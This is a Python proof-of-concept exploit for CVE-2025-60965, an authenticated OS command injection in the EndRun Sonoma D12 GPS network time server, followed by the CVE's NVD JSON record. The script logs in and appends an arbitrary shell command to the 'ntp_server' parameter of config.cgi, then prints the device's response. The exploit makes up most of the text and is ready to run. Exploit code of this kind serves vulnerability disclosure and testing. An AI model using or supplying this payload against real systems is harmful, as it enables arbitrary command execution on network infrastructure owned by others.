CVE-2025-60965

# CVE-2025-60965 - EndRun Sonoma D12 OS Command Injection PoC # Vulnerability: OS Command Injection in Sonoma D12 Network Time Server # Affected Firmware: F/W 6010-0071-000 Ver 4.00 # Requirements: Valid high-privilege credentials (PR:H) # Reference: https://xdiv-sec.github.io/vulnerability-research/advisories/2025-10-03-sonoma-d12 import requests import sys TARGET = "https://<target-ip>" USERNAME = "admin" PASSWORD = "<password>" def exploit(target, username, password, cmd): """ Exploit OS Command Injection via authenticated web interface. The vulnerable parameter fails to sanitize shell metacharacters, allowing arbitrary command execution on the underlying OS. """ session = requests.Session() # Step 1: Authenticate to obtain a valid session login_url = f"{target}/login.cgi" login_data = { "username": username, "password": password } resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200: print("[!] Authentication failed") sys.exit(1) print("[*] Authenticated successfully") # Step 2: Inject OS command through vulnerable parameter # Shell metacharacters (;, |, `, $()) are not properly sanitized exploit_url = f"{target}/config.cgi" payload = { "ntp_server": f"time.nist.gov; {cmd}", # Command injection via ntp_server parameter "action": "save" } resp = session.post(exploit_url, data=payload, verify=False) print(f"[*] Command injection response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:500]}") return resp if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <command>") print(f"Example: {sys.argv[0]} 'id'") sys.exit(1) cmd = " ".join(sys.argv[1:]) exploit(TARGET, USERNAME, PASSWORD, cmd)

{"cve": {"id": "CVE-2025-60965", "sourceIdentifier": "[email protected]", "published": "2025-10-06T17:16:07.417", "lastModified": "2025-10-10T16:14:55.330", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in EndRun Technologies Sonoma D12 Network Time Server (GPS) F/W 6010-0071-000 Ver 4.00 allows attackers to execute arbitrary code, cause a denial of service, gain escalated privileges, gain sensitive information, and possibly other unspecified impacts."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:endruntechnologies:sonoma_d12_firmware:6010-0071-000:*:*:*:*:*:*:*", "matchCriteriaId": "6F239BEA-C83D-46D5-A558-478D6F01A27A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:endruntechnologies:sonoma_d12:4.00:*:*:*:*:*:*:*", "matchCriteriaId": "2D229C97-27FA-4DC6-9EB9-7757C6638143"}]}]}], "references": [{"url": "http://endrun.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "http://sonoma.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://xdiv-sec.github.io/vulnerability-research/advisories/2025-10-03-sonoma-d12", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}